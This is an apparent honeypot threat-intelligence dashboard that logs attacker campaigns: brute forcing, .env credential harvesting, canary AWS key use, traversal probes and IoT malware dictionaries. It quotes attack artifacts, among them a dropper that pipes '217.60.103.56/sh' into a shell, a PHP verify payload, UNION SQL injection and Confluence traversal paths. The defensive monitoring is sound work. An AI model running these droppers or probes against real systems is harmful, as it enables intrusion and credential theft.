Mint volume — issued rows per day; purple = day with Tracebit use events
Campaign lifecycle — 57 journey-fingerprint sigs, bar = first_seen → last_seen (sensor count in label)
Curated kill-chains — registry campaigns, maintained at briefing time
GOWEB-PENTEST active
№49: FOURTH–SIXTH windows in ONE cycle — three NEW operators, three NEW nodes: 58.84.1.216 (VNG VN) hammered sponge-01-ts 181 phpmyadmin-login GETs / 1 path in 39 s (09:50 EDT); 139.59.74.7 (DigitalOcean IN) hit control-1 151 GETs / 1 path in 11 s (19:32 EDT); 27.147.153.210 (Link3 BD) hit canary-farm-1 151 GETs / 1 path in 29 s (15:32 EDT). All `Go Web Pentest Tool`, GET-only, 0 POSTs — six windows, six operators, six nodes, six ASNs; a captured credential body is still unseen. №48: THIRD window — 109.123.251.103 (same /16 as canary-farm-1's public IP) ran 181 phpmyadmin-login GETs on 1 path in 1.1 s on lauterbourg (07:37 EDT 10-10), 0 POSTs. Three operators, three nodes, three ASNs — the commodity-tool read is solid. ⚠ NEW №47: promoted from the №46 watch single on the second window / node / operator — honest self-labeled UA `Go Web Pentest Tool`. №46: 158.178.159.133 (Oracle NL) POST-flooded /mysql/dbadmin/index.php on frantech 181× in 26 s. №47: 167.86.124.4 (Contabo FR) hammered phpmyadmin login paths on ai-devbox-1 — 183 ev / 3 paths / 181 phpmyadmin-login GETs in 1 min (17:57 UTC 10-09), 0 POSTs. Watch: a third operator IP or any captured credential body.
flowchart LR
GWT["Go Web Pentest Tool<br/>self-labeled UA"] --> PMA["phpMyAdmin login hammer<br/>~181 events / pass"]
PMA --> ROT["IP + verb rotation<br/>POST → GET, node per window"]
AKAMAI-VHOST-SCAN new
⚠ NEW №49 — promoted on the second window: lauterbourg vhost + admin-surface census class under Akamai Connected Cloud egress. 172.234.162.31 (FR) returned 05:22 EDT 10-11: 231 ev / 194 paths / 29 families in a ~1-min pass — kiteworks-root-redirect → /login [kiteworks-shell] → citrix rdx lang fetch → nmaplowercheck → /cgi-mod/header_logo.cgi → /sdk (1 POST, 441 B, body not captured) → /health → coldfusion CFIDE → singles for fortigate, ivanti, exchange OWA, cisco webvpn, geoserver, nextjs, openapi, ollama-version. Class history: 172.104.241.92 + 172.105.76.7 (Akamai DE, №46–№47 third windows on lauterbourg). Three IPs, one node, browser+forged UA rotation, 0 mints across the class.
flowchart LR
A["Akamai egress IPs ×3<br/>FR + DE classes"] --> K["kiteworks-root-redirect<br/>→ /login"]
K --> S["admin-surface singles:<br/>citrix · CFIDE · fortigate ·<br/>ivanti · OWA · webvpn"]
S --- P["1 POST /sdk · 441 B<br/>body not captured"]
ATLASSIAN-REST-PROBE idle
№49: FIRST ABSENCE — 87.120.204.145, the lighter runners, and signature 9609f17ada17 all absent; watch a second window to separate one-shot recon from a standing cadence. ⚠ NEW №48 — fleet-wide Confluence/Atlassian REST discovery, signature 9609f17ada17 (9 IPs / 216 ev / 7 sensors, first seen 10-11): /rest/api/2/serverInfo, /rest/api/serverInformation, /rest/api/latest/server, /status. Primary operator 87.120.204.145 (G-Core Labs) hammered both EU nodes (694 ev each, 331 paths, 8-UA modern rotation, 0 mints) incl. an 8-level archive traversal /s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/…/..::×8::META-INF (№47's REGISTRY-HUNT Jira traversal used 5 levels). Lighter same-UA-set runners 45.207.159.88 + 2407:cdc0:f004:785e:e5d4:8ffa:4068:2bcb ran 7 min before .145's EU pass; single touches from 172.234.162.31, 139.162.33.108.
flowchart LR
R["REST serverInfo census<br/>/rest/api/2/serverInfo<br/>+ /status variants"] --> H["87.120.204.145 hammer<br/>694 ev/EU node · 8 UAs"]
H --> T["8-level ..:: archive traversal<br/>Confluence plugins"]
R --- L["9-IP fleet-wide wave<br/>0 mints"]
CF-FRONTED CREDSWEEP new
№37: first-seen Cloudflare-fronted ai-devbox credential census over inference.fapthropic.com — 54 Cloudflare edge IPs, 7,245 HTTPS events, 289 paths, 83 result families, and 76 /.env mints. Origin hidden by Cloudflare; all rows use socket peer 172.18.0.1 with no XFF mismatch. Watch the minted credentials for AWS use.
flowchart LR
EDGE["Cloudflare edge IPs<br/>54 in window"] --> HOST["ai-devbox-1 HTTPS<br/>inference.fapthropic.com"]
HOST --> CENSUS["Credential census<br/>289 paths · 83 families"]
CENSUS --> MINT["76 /.env mints"]
MINT --> WATCH["AWS-use watch"]
CREDENTIAL-DRAIN active
№49: SECOND consecutive use window, NEW SHAPE — 41 creds to 29 collectors, 2 used, 7 events: 4× sts:GetCallerIdentity ✓ + ListFoundationModels ×2 ✗ + ListBuckets ×1 ✗ (all recurring classes). FIRST single-credential multi-egress use: Bucklog 185.177.72.64 minted 2 on control (23:36 EDT 10-11, Firefox/5.0 forgery) and 1 credential ran 5 ops (GetCallerIdentity ×3 ✓ + ListFoundationModels ×2 ✗) from 4 distinct AWS-side IPs. 72.251.220.23 (curl/8.7.1, aidev mint 08:43 EDT) self-used from 1 IP (GetCallerIdentity ✓ + ListBuckets ✗). 0 mint failures, second clean window. Hoards: 45.148.10.171 43/6d (17th window), 34.124.231.201 40/6d (absent), 80.94.92.65 19/6d. №48: USE RETURNED after two zero windows — 2 credentials / 3 events, all sts:GetCallerIdentity ✓, BOTH same-IP mint-and-use: 209.97.180.8 (REGISTRY-HUNT runner; minted ru-edge, used same IP) and 128.199.182.55 (minted farm 10-08, used now); 53 creds to 30 collectors, 0 mint failures; hoards .171 45/6d (16th window), 34.124.231.201 40/6d, 209.159.155.142 12 (new entrant). №47: SECOND zero-use window — 84 creds to 33 collectors, 0 alerts / 0 successes; mint failures 17×400; record single-IP mint 40 (METADATA-HUNT 34.124.231.201); hoards 45.148.10.171 40/6d (15th window), 80.94.92.65 27/6d over 4 sensors, 87.120.104.29 12/6d. №46: ZERO USE — 60 creds to 30 collectors, none reached AWS (first zero-use window since №42). Mint failures RETURNED: 11×400 (farm 4, aidev 3, control 2, ru-edge 2) after five clean windows — scattered singles plus CONFIG-SWEEP's farm burst pair. Top holders: 45.148.10.171 10 mints (41/6d), 150.241.66.127 6 (EMPERORS-KIT), 160.177.245.67 5 (NIGHTAGENT). №45: ELEVENTH use window — 4 credentials / 13 events (7× sts:GetCallerIdentity ✓, 6× ListFoundationModels denied) and ALL FOUR self-used: minted and consumed inside the window. Feo Prest pair FIRST JOINT USE — .154 (1 cred, 4 ops, minted farm 04:55) and .175 (1 cred, 4 ops, minted control 11:02); SS-Net .211 (1 cred, 3 ops, minted aidev 02:50); FIRST-TIME collector 209.99.189.217 self-validated 1 cred (GetCallerIdentity only). 58 creds to 34 collectors, 0 failures (4th straight clean window). Same-session use now 9/9 across №44–№45. №44: TENTH use window — 5 credentials / 78 events (72 denied, 6× sts:GetCallerIdentity ✓). SES enumeration RETURNED via Bucklog 185.177.72.205 (GetSMSAttributes ×34 + GetSendQuota ×34 denied). FIRST same-IP mint-and-use: LeakIX l9scan 157.230.19.140 + 167.99.181.249 validated their own canaries (GetCallerIdentity ✓ + ListBuckets denied) — use IP now equals the mint IP. SS-Net .211: 1 cred / 4 ops. 70 creds to 26 collectors, 0 failures (third window). Hoards: Feo .175 77/6d, .154 38/6d, .171 28/6d. №43: NINTH use window — 1 credential / 4 events (2× sts:GetCallerIdentity ✓ + ListFoundationModels ×2 denied); use side SS-Net .211, which also returned to minting (2 on aidev under an Opera/5.02 forgery) after №42's miss. 56 creds to 41 collectors, 0 failures. Hoards: .175 89/6d, .171 24/6d. №42: EIGHTH consecutive use window — 1 credential used (Feo Prest .175: 2 sts:GetCallerIdentity successes + denied ListFoundationModels ×2 from 4 AWS IPs; mint side control-1). 35 mints to 24 collectors, 0 failures.
flowchart LR
MINT["/.env mint burst"] --> COLLECT["Collector harvest<br/>.154 · .211 · l9scan .72"]
COLLECT -->|"minutes later"| USE["AWS use from egress IPs"]
USE --> S1["sts:GetCallerIdentity<br/>✓5"]
USE --> S2["Denied ops<br/>ListFoundationModels ×4"]
S1 --- POLICY["legacyOwnerAccess<br/>deny-all policy held"]
NIGHTAGENT active
№46: RETURNED after one absence — NEW operator 160.177.245.67 (ONP MA) ran the FULL kit on both EU nodes in one overlapping session (farm 07:55–09:04 UTC 184 ev, aidev 08:23–08:32 UTC 276 ev): phpunit verify → UNCHANGED nightshell dropper POST (GHSAT token byte-identical; unrotated since first capture) → form login user=root&pass=wrong → wp-batch multiplex + SQLi → 5 mints (aidev 3, farm 2 — the campaign's largest mint haul) + config-bundle census (webapp-config-bundle-js 100 ev). NEW STAGE: tomcat-path-bypass-env ×25 — every one of the tag's fleet events belongs to this IP. №45: FIRST ABSENCE after two .49 windows (0 events; the 105.159.4.244 operator also out). №44: SECOND .49 RUN — 185.213.193.49 ran 3 passes (farm 07:37, aidev 11:32+13:24, farm 17:58 EDT), credential stages only: form login user=root&pass=wrong → wp-batch SQLi (||OK|| probe) → /.env mint ×3 → config-bundle census → phpmyadmin legs → adminer prod_rw POSTs with a FRESH 22-char password per pass (8LB9tLMFj2cQ2llBuH7vPA / Y6kVIvepMM16CeMI-5YwoQ / 1ocYDyySV4cQEz4RIXb7Kg) — the INFOCREST password shape. NO phpunit verify, NO dropper POST. .244 absent. NINTH RUN №43 — RETURNED after 15 idle days: 105.159.4.244 (ONP MA) posted the verbatim verify '<?php echo "NightAgent";?>' AND the UNCHANGED nightagents/nightshell dropper POST (same GHSAT token; repo 404 since 09-24, so the copy() cannot succeed), then form login user=root&pass=wrong + wp-batch SQLi + config-bundle census + 1 mint (farm). Second operator same day: 185.213.193.49 (Zenlayer US) ran the kit minus the phpunit stage — 3 passes across farm+aidev, 3 mints. №28: first mint; dropper URL is unchanged kit, not the registered 'return requires new dropper URL' case.
flowchart LR
V["phpunit verify<br/>NightAgent echo"] --> D["nightshell dropper POST<br/>unchanged URL + token<br/>(repo 404 — copy fails)"]
D --> L["form login<br/>user=root&pass=wrong"]
L --> W["wp-batch SQLi<br/>author_exclude UNION"]
W --> C["config-bundle census<br/>+ /.env mint"]
METADATA-HUNT idle
№48: RUNNER ABSENT (one-window return) — the 34.124.231.201 pass re-appears in №48's digest only via the +4 h cast overlap (6 webapp-form-profile rows), not a second run; 40/6d hoard unchanged. №47: RETURNED + MAJOR UPGRADE after 12 marker-absent windows — single GCP runner 34.124.231.201 (SG) ran a 21-second code-execution census on canary-farm-1 (374 ev / 223 paths / 74 fams / 36 POSTs, 08:05:03–24 UTC 10-10) under 33 forged AI-crawler UAs (set grew: Kimi, DeepSeek, MistralAI, Qwenbot, Hunyuan, PanguBot, cohere, DuckAssist, Bravebot, ChatGLM, YiBot, xAI-Grok new); NEW code-exec stages (Langflow /api/v1/validate/code @exec subprocess, Flowise customMCP, /lib/terminal-xhr.php command=env, /read-document + /api/designer/v1/file-content env reads, /api/templates/preview ../../..// traversal, /api/fs/exec, php-cgi shell_exec ×7 paths) + the classic /@fs Vite credential traversals; 40-mint batch at /.env = fleet single-IP record; 0 AWS use. Earlier cycles: idle №16–№46, and №33 had 3 @fs marker rows again (136.85.48.119, farm, 2nd window) with a 291-ev credential-family run (firebase/gcp-credentials, graphql, forged AI-crawler UAs, 3 mints) — resumption candidate.
№45: FIFTH consecutive miss — no /46 census; pool singles 94.154.43.84 (aidev) + .164 (farm) minted 1 each 09:48 EDT under forged Chrome/147 — the same single-mint pattern as №42–№43. №43: THIRD consecutive miss — no /46 census; a NEW pool-singles pair 94.154.43.125 (farm) + .146 (aidev) minted 1 each under Chrome/147, and .100's bare-UA `/` passes repeated on 7 nodes (71 ev). №42: SECOND consecutive miss — pool singles 94.154.43.129/.164 minted 1 each again (04:16 UTC, forged Chrome/147). №41: first miss after .250's second run. Block spans .242–.250; no observed AWS use.
flowchart LR
OP["/46 pool · forged Googlebot/2.1<br/>.242–.250 + pool singles"] --> SWEEP[".250: 743-path census<br/>118 families in 12 s"]
SWEEP --> MINT["/.env mints ×5<br/>ru-edge"]
MINT --> HOARD["Standing hoard<br/>zero AWS use"]
REGISTRY-HUNT active
№49: wave held at reduced spread — 12 l9scan runner IPs minted 13 canaries across farm/aidev/control/ru-edge in the 19:57–20:35 EDT evening wave (digest cluster 850993125b15 6 IPs / 246 ev farm-only; the 27-family docker-registry journey on 4 sensors in the kill-chain table). l9explore 45.138.12.51 WIDENED to 5 sensors (440 ev) with 3 mints (control 09:02, farm 00:38, aidev 02:50 EDT). №48: CONTRACTED wave — ~11 runner IPs on farm/aidev/control/ru-edge (the 27-family docker-registry journey; digest cluster 850993125b15 6 IPs / 246 ev farm-only); 11 mints 1/IP; FIRST USE SINCE №45 — two runners self-validated in AWS (209.97.180.8, 128.199.182.55, sts:GetCallerIdentity ✓); l9explore 45.138.12.51 down to a 1-ev lauterbourg touch. №47: ~49 l9scan IPs on ALL 8 sensors; NEW signature b3c6048a4870 (lauterbourg) carries a DEEPER Jira traversal (5 `..::` levels vs 2; 11 ev / 10 IPs, one node only) and rode the kiteworks vhost (428 ev, 8 runners); 22 of the window's 33 canary collectors were l9scan runners (evening wave 23:46–03:12 UTC); LeakIX toolset widened — 45.138.12.51 (Tc Datacenter LT) ran l9explore/1.2.2 (87 ev) + l9tcpid/v1.1.0 on frantech+sponge. №46: RECORD WAVE — 37 l9scan IPs / 116 weblogic+confluence events across ALL 8 SENSORS (per-sensor presence farm 11, ru-edge 9, control 8, netcup 6, sponge 6, lauterbourg 6, frantech 4, aidev 4); 22 IPs minted 31 canaries (crossnode minters 157.245.204.205 ru+control, 167.99.210.137 farm+ru, 146.190.103.103 aidev+control); 0 observed AWS use at window close. NEW STAGE: 52 IPs ran a Jira archive-traversal probe (/download/resources/jira.webresources:color-picker-popup/images/..::..::META-INF::maven::com.atlassian.jira::atlassian-jira-webapp::pom.properties, 64 events) between Confluence and WHM — the journey change behind №46's two new signatures (fe0b8d49a878 ru-edge, 24e7b3a70bf9 control; farm's 850993125b15 unchanged); 8 UA variants. №45: 17 l9scan IPs / 811 events (flat vs №44's 18/847) in the 19:54–21:06 EDT wave across farm, aidev, control, ru-edge, lauterbourg (Kiteworks vhost), sponge; 12 IPs minted 1 each (13 mint rows; 206.189.95.232 hit farm+ru-edge) + l9explore 45.138.12.51 87 ev / 1 mint (5/6d). NO self-use this window — the wave's 13 canaries sat unused at window close (№44's two self-using runners did NOT repeat: mint≠use again). №44: 18 l9scan IPs / 847 events across ALL 8 SENSORS (first all-8 wave), 14 mints at 1/IP; NEW: two operators self-used their canaries in AWS (see CREDENTIAL-DRAIN). №43: 18 l9scan IPs / 769 events / 14 mints (1/IP) across 6 sensors in one 19:53–20:43 EDT wave, all DigitalOcean; UA variants 2.0.930323 / 2.0.234313 / 2.0.6343 / 2.0.632323. l9explore 45.138.12.51: 87 ev on netcup, 0 mints (4/6d). LeakIX l9scan template. №42: contracted to 17 l9scan/l9explore IPs / 1,219 events after №41's 31-IP record; mints 1/IP across control, aidev, farm, ru-edge + lauterbourg (27-family kill-chains; 165.227.173.41 hit 2 nodes); zero burst rejections. 45.138.12.51 (Tc Datacenter LT) mints under l9explore/1.2.2 with a 20-family env census — exploit-grade sibling. LEAKIX-SSH absent this window. Honest UA; borderline per registry.
flowchart LR
L9["LeakIX l9scan<br/>17 IPs №42"] --> W1["WebLogic console"]
W1 --> W2["Confluence · WHM/cPanel"]
W2 --> DR["Docker registry enum<br/>/v2/internal/..."]
DR --> GR["/graphql introspection"]
GR --> MINT["Mints 1/IP ×23<br/>one runner used in AWS"]
CREDSWEEP active
№43: .171 ELEVENTH consecutive mint window — 4 mints across farm/aidev×2/control (24/6d) from only 10 events on 7 sensors. The 45.154.138.x cluster returned for a SECOND mint window with 9 mints — promoted to its own row (CONFIGBUNDLE-SWARM). Feo .154 absent; .92.65 minted 4. №42: 45.148.10.171 TENTH consecutive minting window — 6 mints across 4 sensors, 0 rejections (20/6d). NEW /24 collector cluster 45.154.138.x on control: 3 IPs (.72/.88/.51), 1 mint each, Firefox/105 + Chrome/39 + Chrome/106 forgeries. Feo .175 minted 2 + used 1; .154 minted 2 (72/6d). SS-Net .92.65 minted 7 across 3 sensors (17/6d). №41: ninth window.
flowchart LR
OP["Feo Prest /24 ·<br/>VPS Dedicated SI · 45.148.10.171"] --> ENV[".env-variant +<br/>credential census"]
ENV --> FORGE["Antique-UA + Mozlila<br/>typo forgeries"]
FORGE --> MINT["Mints every window<br/>.175 hoard 135/6d"]
XMLRPC-BRUTE active
№37: 185.19.40.202 (1337 Services GmbH NL) returned on lauterbourg with 1,000 system.multicall POSTs in 89 s, fixed admin username, one password per body, forged Chrome/78. №36: 134.209.110.125 (DigitalOcean SG; minted 4 canaries №35) ran two legs on lauterbourg: 3,050 system.multicall POSTs plus 3,049 wp-login form POSTs with site-aware passwords. №28: fifth operator 119.40.84.186 (BDCOM BD) burst→sustained with 18,063 xmlrpc + 18,063 wp-login POSTs over 6.5 h on netcup.
flowchart LR
OP["Operator rotates<br/>(1337 Svcs · GCP · Google BE · BDCOM BD)"] --> PRE["Preflight wlwmanifest<br/>+ wp/v2/users"]
PRE --> FLOOD["system.multicall flood<br/>1,600–18,063 POSTs"]
FLOOD --> WPL["wp-login phase<br/>one distinct password per POST"]
MALWARE-DICT active
№43: 30th loop window — 2,198 ev / 571 paths on control (204.76.203.18); /24 siblings .237 and .219 ran 8-node light touches (72 / 16 ev) under the same Edg/90 UA as 91.92.40.236. №41 = 28th window: 2,248 ev on control (578 paths — volume recovered from №40's 872) plus a 6-ev ru-edge touch. №26 resume shape: 2,059 ev control + 2,060 ru-edge in 27 h, byte-identical, 569 paths.
№49: IDLE — Interserver 209.159.155.142 and the DO trio absent; the 12/6d hoard stands unused. №48: FOURTH OPERATOR CLASS — the №23 watch single 209.159.155.142 (Interserver US) returned at scale: both EU nodes (farm 1,400 + aidev 1,365), 396 paths / 44 families each, 5-stage UA rotation (git/2.39.0, bare Mozilla/5.0, Firefox/109, `node`, NEW git/2.47.3), full hooks enumeration (fake-git-miss 1,310) + env/sql-dump/backup censuses, 12 mints (6/node) — the campaign's largest mint haul; first window since №23. №47: REACTIVATED — THIRD OPERATOR CLASS: synchronized DigitalOcean trio 178.128.169.110 + 144.126.227.243 (aidev 08:21/19:19 UTC) + 104.248.163.59 (control 01:55 UTC 10-10): identical 144-ev/142-path/1-min walks (143 fake-git + 1 gitignore), stale Firefox/78, 0 mints; owns aidev fake-git 3.1× + control 3.2×; watch object-hash fetches (GIT-VAULT №13 merge shape). Prior: №43: FIRST MISS after three consecutive windows (3xK trio absent). Separate: 102.220.161.102 (CREDSWEEP block, VPS Dedicated SI) ran a 144-path fake-git walk on aidev — a new operator for the template; watch for a repeat. Git-internals walk + secrets files. №42: THIRD consecutive window — NEW third IP 216.26.239.111 (3xK Tech, cc BR) ran the identical 144-ev / 142-path walk on canary-farm-1 (14:48 UTC), 0 mints. №41: the .149/.141 pair repeated the same walk 1 h apart. Honest git UA is the family fingerprint (git/2.39.0 → git/2.40.0).
flowchart LR
W["git/2.40.0 walk<br/>.git/HEAD · index · ORIG_HEAD"] --> HOOKS["hooks/*.sample<br/>full enumeration"]
HOOKS --> REFS["packed-refs · COMMIT_EDITMSG ·<br/>FETCH_HEAD"]
REFS --- PAIR["3xK Tech IPs ×3 across<br/>3 windows · 0 mints"]
LIBREDTAIL-KIT active
phpunit directory-permutation RCE, honest UA libredtail-http. №49: RETURN after three idle windows (№46–№48) — 3 fresh IPs (223.123.65.54, 202.155.18.56, 37.60.225.222) ran ~98 ev / 44 paths each across 2 nodes per IP (frantech+lauterbourg, lauterbourg+control, frantech+ru-edge): phpunit-eval-stdin → cmd-injection-php-cgi-rce → docker-daemon-containers-list under honest libredtail-http, plus kiteworks-root-redirect on the lauterbourg legs; dropper stage unobserved (no bodies captured). 0 mints. №40 (21st window): 4 full-kit IPs × 37 ev on lauterbourg (167.71.233.141, 102.244.97.185 repeat, 89.126.214.24, 118.145.104.37) — the phpunit-eval-stdin 4.8× spike on that node; the php-cgi delivery cluster 7e61a9500d8b ran 7 IPs / 343 events fleet-wide (farm/frantech/netcup/sponge). №36 (18th window): 16 full-kit IPs × 37 ev across 7 sensors; staging host 217.60.103.56 in bodies; repeat 102.244.97.185. №35 (17th window): 9 full-kit IPs at 37 ev each + 7-ev php-cgi delivery leg (same IPs, /bin/sh + cmd-injection-php-cgi-rce paths) across ai-devbox-1/netcup/sponge; dropper 12/12 → 217.60.103.56 arg apache. №33 (15th window): 18 full-kit IPs across ALL 8 sensors.
flowchart LR
P["md5(Hello PHPUnit)<br/>eval-stdin.php probe"] --> RCE["POST /index.php<br/>shell_exec(base64) →<br/>ed25519 key exfil"]
RCE --> DROP["POST /bin/sh dropper<br/>217.60.103.56/sh"]
DROP --> SH["curl | sh -s apache"]
Named operator 69.5.20.14 (Byteplus, ID). №24: first idle window. Byte-identical 404-path passes, 9-UA rotation, /.aliyun/* sweep.
flowchart LR
OP["Byteplus 69.5.20.14<br/>9-UA rotation"] --> CENSUS["404-path byte-identical<br/>census + suffix fanout"]
CENSUS --> ALI["/.aliyun/* 21-path<br/>credential sweep"]
ALI --> ZERO["0 mints —<br/>recon only"]
SYNC-ENUM-WAVE merged
MERGED into WP-FORM-BRUTE (№41): the fleet-wide wp-user-enum wave runs the SYNC-ENUM Chrome/127 UA family AND registered SYNC-ENUM runners (103.154.62.39, 119.198.229.152) inside the WP-FORM roster, now with credential POSTs added. Origin: №25 — 8 IPs, byte-identical 282-ev user-enum passes (270 tarpit + 12 enum calls), staggered ~15 min.
flowchart LR
Q["Scheduler queue<br/>1 IP per ~15-min slot"] --> P["Byte-identical 282-ev pass<br/>270 tarpit cycles + 12 enum calls"]
P --> N1["control"]
P --> N2["ru-edge"]
P --> N3["sponge"]
N1 --- ZERO["0 mints"]
MEGA-DICT active
№49: SIXTEENTH replay — 185.209.196.172 (31173 Services AB DE, ipsum:2, the ASN's THIRD host after №30's 185.213.155.227 and №34's 193.32.126.191) frantech 13,535 ev / 13,535 paths in ~1 min (00:48 EDT); anti-join vs №48 +33/−0 (13,502 → 13,535, ELEVENTH straight growth): /bins/android/akuma_* ×19 archs, /pack/agent/nodewatchd-linux-* ×8 archs, /bins/payloads/{c,w}.sh, /champ, /miner_setup.sh, /rainii686, /st_x86_64, /svc/u.sh. Host ledger: Datacamp ×5, tzulo ×3, 31173 ×3, Zenlayer ×2, Owl ×1. №48: FIFTEENTH replay — 23.234.118.20 (tzulo US — the №34 host class returns; ipsum:1) frantech 13,502 ev / 13,502 paths in 54 s; anti-join vs №47 +13/−0 (13,489→13,502, TENTH straight growth): new /mogh739/{metrics-agents,static-assets}/-/raw/main/* GitLab-raw installer set (11 paths), /d/432936b3a0439572/o/nnnnnede/init.sh2, /payload/1ay0eknhal4o/6lpiz8.sh. №47: FOURTEENTH replay — 193.32.248.142 (31173 Services AB DE, NEW host class for the campaign; ipsum:2) on frantech 05:21–05:22 UTC: 13,490 ev / 13,489 paths, 200+ router/IoT UAs, GET-only; anti-join vs №46 +11/−0 (13,478→13,489; growth series …+31/+29/+4/+11, ninth straight growth); 0 mints. №46: THIRTEENTH replay — 138.199.60.3 (Datacamp Limited SG, ipsum:1; new country for the Datacamp class) replayed on frantech 02:01–02:03 UTC: 13,478 ev / 13,478 paths in 2 min, GET-only, 95% of the node's window volume. Wordlist +4 vs №45's 13,474 (growth series …+31/+29/+4). Host ledger: Datacamp ×5, 31173 Services AB ×2, tzulo ×2, Zenlayer ×2, Owl ×1. №45: HOST RETURNED TO DATACAMP CLASS — 178.249.209.163 (Datacamp Limited CZ, ipsum:1) replayed on frantech 02:09–02:11 EDT: 13,474 ev / 13,474 paths in 2 min, GET-only, 208 UAs (IoT-router UPnP class this pass: Mi Router 3E, UniFi Dream Machine Pro, Totolink A3002RU, Phicomm P804-N2 + python-requests). Wordlist ≥+29 vs №44's 13,445 (13,474 distinct; +29 floor — /ce.sh, /qv3.mips first-seen). Host ledger: 31173 Services AB ×2, Datacamp ×4, tzulo ×2, Zenlayer ×2, Owl ×1. №44: HOST ROTATED — 176.119.150.252 (Owl Limited DE, new host class) replayed on frantech 01:24–01:25 EDT: 13,445 ev / 13,445 paths in 90 s, GET-only, 208 UAs. Anti-join vs №43's 13,414: +31 new / −0 dropped — SIXTH straight growth (+6/+27/+34/+39/+17/+31). New: /bots/{bot,dldr,mb,go_bot}.* families, /bins/morte.{arm,x86_64}, /bins/xnxnxnxn* ×6 archs, /pack/agent/nodewatchd-linux-386, /nyx_bot_linux_amd64_exec, /Hilix.sh, /87sbhas6as.sh, /adb.arm7, /m.sh. №43: 98.98.47.133 (Zenlayer MY, №40's host) returned — frantech 00:23–00:25 EDT, 13,414 ev / 13,414 paths in 2 min. Anti-join vs №42's set: +17 new / −1 dropped (13,398 → 13,414) — fifth straight growth (+6/+27/+34/+39/+17). New: /backup/winki.* ×10 archs, /nyx_bot_linux_{amd64,mipsle}_packed, /bins/dlink.sh, /bins/morte.i686, /botbin, /dropfix, /main_host, +3 /c/ token paths. №42: SAME-HOST RETURN — 185.213.155.227 (31173 Services AB, №30's host) replayed on frantech-ts 23:32–00:33 UTC: 13,398 events / 13,398 paths over ~1 h (slow pass vs the 2-min bursts), 0 mints. +209 paths vs its own 09-24 set; +39 vs №41's pooled 13,359 (4th straight growth: +6/+27/+34/+39). New families: /bins/aurora.* (Aurora), /bin/manta.* ×13 archs, /release/DS.*, /302/*, random-token paths. №41: 138.199.6.234 (Datacamp CH), +34 incl. first xmrig entries.
flowchart LR
F["13,398-path IoT dropper-URL<br/>dictionary (+209 vs host's 09-24)"] --> R1["Replay: 31173 AB host<br/>frantech-ts · ~1 h slow pass"]
R1 --- B["0 POSTs · 0 mints<br/>byte-shared artifact"]
F --- NEW["New families:<br/>aurora.* · manta.* ×13"]
WP-BATCH family recurring
Not a standalone campaign since №12: wp-batch bodies ride inside INFOCREST-KIT / AKAMAI-CONFIG / NIGHTAGENT chains (SQLi via author_exclude UNION SELECT).
№49: SECOND consecutive window — five FRESH Oracle SG IPs, again one-per-sensor (146.235.22.78 farm 04:53, 161.118.198.110 ru-edge 06:10, 134.185.90.18 netcup 09:28, 152.69.221.133 aidev 14:52, 140.245.112.148 frantech 14:12 EDT), same 239-path / 65-family `WebSiphon/next-0.1` census (kill-chain journeys identical to №48), 3 mints (farm, ru-edge, aidev — the two no-canary nodes stay mint-less). №48: RETURNED + NEW GENERATION after №34–№47 idle — 5 Oracle-hosted IPs one-per-sensor on 5 sensors (146.235.16.170 control, 146.235.22.78 farm, 161.118.198.110 ru-edge, 161.118.211.119 lauterbourg, 134.185.95.195 sponge 64-path short leg) under a NEW honest self-labeled UA `WebSiphon/next-0.1` (was forged Chrome/126): 239-path census (2.5× the ~94-path core), 65 result families — env variants + config bundles + CI/CD + cloud creds + AI/LLM + OCI-specific paths — 40–60 s per node, 3 mints (control, farm, ru-edge 1 each). UN-MERGED from METADATA-HUNT in №33 per the registered trigger. №34–№35: two consecutive absences since the un-merge — the №34 rule fired, status is standing-paused. Un-pause on a 140.245.x/161.118.x run carrying the ~94-path core.
№46: 105.115.6.147 continued (4 mints: aidev 3 + farm 1, 5/6d); 105.115.5.210 absent. №45: THIRD-GENERATION operators — 105.115.5.210 ran the marker+mint template 3× (aidev 19:33, farm 20:06, aidev 20:24 EDT) + sibling 105.115.6.147 once (aidev 21:06), 4 mints, fresh marker per run, python-requests/2.31.0 — the 105.115.x pool recurs (№33's operator was 105.115.10.78). №44: same operator RETURNED on schedule — 105.112.26.83 minted 4 in 1 h (aidev ×3 + farm, 03:50–04:50 EDT), second consecutive window, same cadence. №43: THIRD operator — 105.112.26.83 minted 4 in 1 h (aidev ×3 + farm, 03:50–04:50 EDT) with marker /__ss_probe_6044ce427532cb1225692c4f1807383d__ under python-requests/2.31.0. №34: 105.115.10.78 returned solo (4 markers / 4 mints on ai-devbox-1) — its second run; 23.234.77.64 and the №32 originals absent. Operator ledger: 5 operators / 5 ASNs, every marker suffix fresh per run.
flowchart LR
P["GET /__ss_probe_<32-hex>__<br/>python-requests/2.31.0<br/>guarantees first-seen"] --> E["GET /.env → 200<br/>canary mint"]
E --> END["Run ends<br/>no POST · no fanout"]
CONFIG-SWEEP idle
№48: FIRST MISS in six windows — 87.120.104.29 absent; 12/6d held unused. №47: FIFTH window — ru-edge 1,650 ev / 1,642 paths / 140 fams in ~1 min (10:12 UTC 10-09, Googlebot/2.1) + 6 mints 10:12:40–50 (12/6d, 0 use); env-production ×187, ssh-private-key-error ×28, webshell-probe ×39. №46: FOURTH window — ESCALATED: 87.120.104.29 burst 300 ev / 150 paths / 40 families on canary-farm-1 in ONE SECOND (21:45:13–14 UTC, Googlebot/2.1); 144 events carried the NEW env-production-error tag (farm's env-production decoys answering /.env_backup, /.env.saved, /docker-compose/.env, /.env.old~ variants); 2 mint failures (400), 0 mints today (6/6d all from the 10-06 ru-edge run). №45: THIRD CONSECUTIVE WINDOW — 150 events (the light Googlebot/2.1 pass shape; node count verified 150 total). №44: SECOND CONSECUTIVE WINDOW, first on ru-edge — 1,650 ev / 140 fams / 1,642 paths in one burst 20:39 EDT under Googlebot/2.1: wp-config variant census + 12 SSH-private-key paths (drove ru-edge's new ssh-private-key-error tag, 30 ev) + 6 mints at /.env — FIRST MINTS SINCE №33. №43: 87.120.104.29 RETURNED with a changed kit — netcup 150 paths in 0.087 s under Googlebot/2.1, webshell-probe ×6 + dockerenv-marker (the Tamatiya shape), not the .env census; 0 mints. 87.120.104.29 (Sino Worldwide NO, Googlebot/2.1 forgery). №33: SECOND mint run — 12 mints inside farm's 2,950-ev 1-minute burst + 6 on control's 1,239-ev census. №34: NO NEW RUN — the window's control rows and 6 mints are the №33 run seen through the 24-h seam.
flowchart LR
B["1-minute census burst<br/>1,600+ paths, 121 families"] --> W["wp-config · app-config ·<br/>aws-credentials paths"]
W --> MINT["/.env mints<br/>18 in-window"]
